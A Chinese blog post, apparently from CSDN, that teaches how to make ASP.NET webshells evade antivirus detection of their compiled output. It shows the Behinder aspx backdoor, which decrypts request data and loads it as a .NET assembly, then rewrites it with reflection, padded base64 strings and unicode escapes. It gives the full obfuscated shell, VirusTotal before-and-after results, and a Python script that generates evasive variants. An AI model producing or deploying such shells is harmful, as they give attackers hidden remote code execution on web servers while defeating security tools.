关闭

ASP.NET下Webshell编译产物免杀

Webshell的文件免杀可参考以下链接,通过unicode编码就可以实现

https://xz.aliyun.com/t/10937

https://github.com/cseroad/Webshell_Generate

但当有卡巴斯基等杀软时,虽然aspx、ashx、asmx文件没有被杀

但编译产物会被杀导致无法连接webshell,以冰蝎aspx的webshell为例

  1. <%@ Page Language="C#" %>
  2. <%@Import Namespace="System.Reflection"%>
  3. <%
  4. Session.Add("k","e45e329feb5d925b");
  5. byte[] k = Encoding.Default.GetBytes(Session[0] + "");
  6. byte[] c = Request.BinaryRead(Request.ContentLength);
  7. Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);
  8. %>

virustotal很多上杀软都能检测到Webshell特征: 报告链接

分析编译产物

无效变换

通过dnspy反编译和不断测试,以下方法的变换对于编译产物而言没有任何影响

1、unicode编码
2、空字符串连接
3、<%%>截断
3、头部替换
5、特殊符号@
6、注释
7、字符串常量的拼接,如"Load"替换为"Lo"+"ad"

查杀特征

经过测试杀软对以下特征查杀较多

  1. 方法调用
    1. AES解密: System.Security.Cryptography.RijndaelManaged
    2. 内存加载程序集: System.Reflection.Assembly.Load
  2. 字符串常量

免杀思路

方法调用免杀

通过反射的方式来调用敏感方法

  1. <%@ Page Language="C#" %>
  2. <%
  3. Session.Add("k","e45e329feb5d925b");
  4. byte[] k = Encoding.Default.GetBytes(Session[0] + ""), c = Request.BinaryRead(Request.ContentLength);
  5. // aes decrypt
  6. Type t1 = Type.GetType("System.Security.Cryptography.RijndaelManaged");
  7. object aes = Activator.CreateInstance(t1);
  8. var decryptor = t1.GetMethod("CreateDecryptor", new Type[] { typeof(byte[]), typeof(byte[]) });
  9. var transform = decryptor.Invoke(aes, new object[] { k, k });
  10. byte[] data = ((System.Security.Cryptography.ICryptoTransform)transform).TransformFinalBlock(c, 0, c.Length);
  11. // load assembly
  12. Type t2 = Type.GetType("System.Reflection.Assembly");
  13. var load = t2.GetMethod("Load", new Type[] { typeof(byte[]) });
  14. var assembly = load.Invoke(null, new object[] { data });
  15. // call assembly
  16. var createInstance = t2.GetMethod("CreateInstance", new Type[] { typeof(string) });
  17. var instance = createInstance.Invoke(assembly, new object[] { "U" });
  18. instance.Equals(this);
  19. %>

字符串常量免杀

通过变异的base64来编码字符串常量,如"Load"修改为

System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("T(G(9(h(Z(A(=(=".Replace("(","")))

unicode编码

为了保证aspx的免杀,仍使用unicode编码

最终效果

aspx内容

<%@ Page Language="C#"%><%\u0053\u0065\u0073\u0073\u0069\u006f\u006e.\u0041\u0064\u0064(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("a$w$=$=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("$",""))), \u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("Z{T{Q{1{Z{T{M{y{O{W{Z{l{Y{j{V{k{O{T{I{1{Y{g{={=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("{",""))));byte[] k = \u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0044\u0065\u0066\u0061\u0075\u006c\u0074.\u0047\u0065\u0074\u0042\u0079\u0074\u0065\u0073(\u0053\u0065\u0073\u0073\u0069\u006f\u006e[0] + "");byte[] c = \u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0042\u0069\u006e\u0061\u0072\u0079\u0052\u0065\u0061\u0064(\u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u004c\u0065\u006e\u0067\u0074\u0068);\u0054\u0079\u0070\u0065 t1 = \u0054\u0079\u0070\u0065.\u0047\u0065\u0074\u0054\u0079\u0070\u0065(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("U!3!l!z!d!G!V!t!L!l!N!l!Y!3!V!y!a!X!R!5!L!k!N!y!e!X!B!0!b!2!d!y!Y!X!B!o!e!S!5!S!a!W!p!u!Z!G!F!l!b!E!1!h!b!m!F!n!Z!W!Q!=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("!",""))));\u0054\u0079\u0070\u0065 t2 = \u0054\u0079\u0070\u0065.\u0047\u0065\u0074\u0054\u0079\u0070\u0065(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("U)3)l)z)d)G)V)t)L)l)J)l)Z)m)x)l)Y)3)R)p)b)2)4)u)Q)X)N)z)Z)W)1)i)b)H)k)=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065(")",""))));    t2.\u0047\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("Q^3^J^l^Y^X^R^l^S^W^5^z^d^G^F^u^Y^2^U^=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("^",""))), new \u0054\u0079\u0070\u0065[] { typeof(string) }).\u0049\u006e\u0076\u006f\u006b\u0065(t2.\u0047\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("T|G|9|h|Z|A|=|=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("|",""))), new \u0054\u0079\u0070\u0065[] { typeof(byte[]) }).\u0049\u006e\u0076\u006f\u006b\u0065(null, new object[] { ((\u0053\u0079\u0073\u0074\u0065\u006d.\u0053\u0065\u0063\u0075\u0072\u0069\u0074\u0079.\u0043\u0072\u0079\u0070\u0074\u006f\u0067\u0072\u0061\u0070\u0068\u0079.\u0049\u0043\u0072\u0079\u0070\u0074\u006f\u0054\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d)t1.\u0047\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("Q%3%J%l%Y%X%R%l%R%G%V%j%c%n%l%w%d%G%9%y".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("%",""))), new \u0054\u0079\u0070\u0065[] { typeof(byte[]), typeof(byte[]) }).\u0049\u006e\u0076\u006f\u006b\u0065(\u0041\u0063\u0074\u0069\u0076\u0061\u0074\u006f\u0072.\u0043\u0072\u0065\u0061\u0074\u0065\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065(t1), new object[] { k, k })).\u0054\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d\u0046\u0069\u006e\u0061\u006c\u0042\u006c\u006f\u0063\u006b(c, 0, c.\u004c\u0065\u006e\u0067\u0074\u0068) }), new object[] { \u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("V<Q<=<=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("<",""))) }).\u0045\u0071\u0075\u0061\u006c\u0073(this);%>

编译产物

virustotal报告

从15个检出降低到7个: virustotal报告

自动生成代码

  1. import re
  2. import base64
  3. import random
  4. BEHINDER = '''
  5. Session.Add("k", "e45e329feb5d925b");
  6. byte[] k = Encoding.Default.GetBytes(Session[0] + "");
  7. byte[] c = Request.BinaryRead(Request.ContentLength);
  8. Type t1 = Type.GetType("System.Security.Cryptography.RijndaelManaged");
  9. Type t2 = Type.GetType("System.Reflection.Assembly");
  10. t2.GetMethod("CreateInstance", new Type[] { typeof(string) }).Invoke(t2.GetMethod("Load", new Type[] { typeof(byte[]) }).Invoke(null, new object[] { ((System.Security.Cryptography.ICryptoTransform)t1.GetMethod("CreateDecryptor", new Type[] { typeof(byte[]), typeof(byte[]) }).Invoke(Activator.CreateInstance(t1), new object[] { k, k })).TransformFinalBlock(c, 0, c.Length) }), new object[] { "U" }).Equals(this);
  11. '''
  12. def replunicode(m):
  13. old = m.group(1)
  14. new = "".join([f'\\u{ord(c):04x}' for c in old])
  15. return m.group(0).replace(old, new)
  16. def unicode(cs):
  17. return re.sub(r'[^"]\b([A-Z]\w+)\b', replunicode, cs)
  18. def replstr(m):
  19. old: str = m.group(0)
  20. if len(old) == 2:
  21. return old
  22. old = old[1:-1]
  23. b64str = base64.b64encode(old.encode('utf-8')).decode('ascii')
  24. pad = random.choice("!@#$%^&*(){}:<>?.,;[]-|")
  25. new = pad.join(list(b64str))
  26. return f'System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("{new}".Replace("{pad}","")))'
  27. def rstr(cs):
  28. return re.sub(r'".*?"', replstr, cs)
  29. src = unicode(rstr(BEHINDER)).replace('\n','')
  30. print(f'<%@ Page Language="C#"%><%{src}%>')

在线运行地址: https://playground.programiz.com

网安学习路线、资料大礼包获取

微信名片

登录后您可以享受以下权益:

×
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word word

mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1

举报

选择你想要举报的内容(必选)
  • 内容涉黄
  • 政治相关
  • 内容抄袭
  • 涉嫌广告
  • 内容侵权
  • 侮辱谩骂
  • 样式问题
  • 其他
点击体验
DeepSeekR1满血版
程序员都在用的中文IT技术交流社区

程序员都在用的中文IT技术交流社区

专业的中文 IT 技术社区,与千万技术人共成长

专业的中文 IT 技术社区,与千万技术人共成长

关注【CSDN】视频号,行业资讯、技术分享精彩不断,直播好礼送不停!

关注【CSDN】视频号,行业资讯、技术分享精彩不断,直播好礼送不停!

客服 返回顶部
微信名片
微信 ID:yj009991 微信扫码添加好友或搜索 ID
复制微信 ID